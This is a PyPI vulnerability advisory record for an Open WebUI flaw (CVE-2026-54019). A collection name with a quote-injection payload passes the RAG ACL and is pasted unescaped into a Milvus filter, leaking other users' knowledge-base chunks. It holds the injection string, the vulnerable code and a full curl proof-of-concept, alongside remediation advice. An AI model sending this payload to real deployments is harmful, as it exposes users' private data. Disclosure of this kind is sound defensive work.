id: PYSEC-2026-2750
published: "2026-07-13T15:46:19.863485Z"
modified: "2026-07-13T16:05:14.322014Z"
aliases:
- CVE-2026-54019
- GHSA-p5cp-r7rg-qpxc
summary: "Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode"
details: "# RAG ACL Bypass in Milvus Multitenancy Mode\n\n## Summary\n\nThis is a bypass of the fix for:\n\n- GHSA-h36f-rqpx-j5wx\n- CVE-2026-44560\n- \"Unauthorized File and Knowledge Base Content Access via RAG Vector Search\"\n\nOpen WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a `resource_id` and is interpolated into a Milvus expression without escaping.\n\nAn authenticated non-admin user can query:\n\n```text\nx' or resource_id != '' or resource_id == 'x\n```\n\nThis passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:\n\n```text\nresource_id == 'x' or resource_id != '' or resource_id == 'x'\n```\n\nThat returns private knowledge-base chunks belonging to other users.\n\n## Affected Configuration\n\nTested on:\n\n```text\nOpen WebUI: v0.9.5, commit 3660bc00f\nVECTOR_DB=milvus\nENABLE_MILVUS_MULTITENANCY_MODE=true\n```\n\nThis is **not a default-vector-store issue**. It affects **production deployments using Milvus multitenancy.**\n\n## Impact\n\nAn authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.\n\n## Root Cause\n\nACL permits unknown collection names:\n\n```python\n# backend/open_webui/retrieval/utils.py\nelif not await Knowledges.get_knowledge_by_id(name):\n    validated.add(name)\n```\n\nMilvus multitenancy then treats the same name as `resource_id` and builds unsafe expressions:\n\n```python\n# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py\nexpr=f\"{RESOURCE_ID_FIELD} == '{resource_id}'\"\n```\n\nAffected paths include:\n\n```text\nPOST /api/v1/retrieval/query/collection\nPOST /api/v1/retrieval/query/doc\n```\n\n## PoC\n\nRequest:\n\n```bash\ncurl -s -X POST \"$TARGET/api/v1/retrieval/query/collection\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data-binary @- <<'JSON'\n{\n  \"collection_names\": [\n    \"x' or resource_id != '' or resource_id == 'x\"\n  ],\n  \"query\": \"anything\",\n  \"k\": 10,\n  \"hybrid\": false\n}\nJSON\n```\n\nActual result: private chunks from other users' knowledge collections are returned.\n\nExpected result: request should be rejected with 403 or return no unauthorized content.\n\n## Remediation\n\n1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.\n2. Escape or parameterize Milvus expression values before building filters.\n3. Reject collection names containing quotes/control characters unless they match a known internal format.\n4. Add a regression test for this payload in Milvus multitenancy mode:\n\n```text\nx' or resource_id != '' or resource_id == 'x\n```"
affected:
- package:
    name: open-webui
    ecosystem: PyPI
    purl: pkg:pypi/open-webui
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 0.9.6
  versions:
  - 0.1.124
  - 0.1.125
  - 0.2.0
  - 0.2.1
  - 0.2.2
  - 0.2.3
  - 0.2.4
  - 0.2.5
  - 0.3.0
  - 0.3.1
  - 0.3.10
  - 0.3.12
  - 0.3.13
  - 0.3.14
  - 0.3.15
  - 0.3.16
  - 0.3.17
  - 0.3.17.dev2
  - 0.3.17.dev3
  - 0.3.17.dev4
  - 0.3.17.dev5
  - 0.3.18
  - 0.3.19
  - 0.3.2
  - 0.3.20
  - 0.3.21
  - 0.3.22
  - 0.3.23
  - 0.3.24
  - 0.3.25
  - 0.3.26
  - 0.3.27
  - 0.3.27.dev1
  - 0.3.27.dev2
  - 0.3.27.dev3
  - 0.3.28
  - 0.3.29
  - 0.3.3
  - 0.3.30
  - 0.3.30.dev1
  - 0.3.30.dev2
  - 0.3.31
  - 0.3.31.dev1
  - 0.3.32
  - 0.3.33
  - 0.3.33.dev1
  - 0.3.34
  - 0.3.35
  - 0.3.4
  - 0.3.5
  - 0.3.6
  - 0.3.7
  - 0.3.8
  - 0.3.9
  - 0.4.0
  - 0.4.0.dev1
  - 0.4.0.dev2
  - 0.4.1
  - 0.4.2
  - 0.4.3
  - 0.4.4
  - 0.4.5
  - 0.4.6
  - 0.4.6.dev1
  - 0.4.7
  - 0.4.8
  - 0.5.0
  - 0.5.0.dev1
  - 0.5.0.dev2
  - 0.5.1
  - 0.5.10
  - 0.5.11
  - 0.5.12
  - 0.5.13
  - 0.5.14
  - 0.5.15
  - 0.5.16
  - 0.5.17
  - 0.5.18
  - 0.5.19
  - 0.5.2
  - 0.5.20
  - 0.5.3
  - 0.5.3.dev1
  - 0.5.4
  - 0.5.5
  - 0.5.6
  - 0.5.7
  - 0.5.8
  - 0.5.9
  - 0.6.0
  - 0.6.1
  - 0.6.10
  - 0.6.11
  - 0.6.12
  - 0.6.13
  - 0.6.14
  - 0.6.15
  - 0.6.16
  - 0.6.18
  - 0.6.19
  - 0.6.2
  - 0.6.20
  - 0.6.21
  - 0.6.22
  - 0.6.23
  - 0.6.24
  - 0.6.25
  - 0.6.26
  - 0.6.26.dev1
  - 0.6.27
  - 0.6.28
  - 0.6.29
  - 0.6.3
  - 0.6.30
  - 0.6.31
  - 0.6.32
  - 0.6.33
  - 0.6.34
  - 0.6.35
  - 0.6.36
  - 0.6.37
  - 0.6.38
  - 0.6.39
  - 0.6.4
  - 0.6.40
  - 0.6.41
  - 0.6.42
  - 0.6.43
  - 0.6.5
  - 0.6.6
  - 0.6.6.dev1
  - 0.6.7
  - 0.6.8
  - 0.6.9
  - 0.7.0
  - 0.7.1
  - 0.7.2
  - 0.8.0
  - 0.8.1
  - 0.8.10
  - 0.8.11
  - 0.8.12
  - 0.8.2
  - 0.8.3
  - 0.8.4
  - 0.8.5
  - 0.8.6
  - 0.8.7
  - 0.8.8
  - 0.8.9
  - 0.9.0
  - 0.9.1
  - 0.9.2
  - 0.9.3
  - 0.9.4
  - 0.9.5
references:
- type: WEB
  url: https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc
- type: PACKAGE
  url: https://github.com/open-webui/open-webui
- type: PACKAGE
  url: https://pypi.org/project/open-webui
- type: ADVISORY
  url: https://github.com/advisories/GHSA-p5cp-r7rg-qpxc
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-54019
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N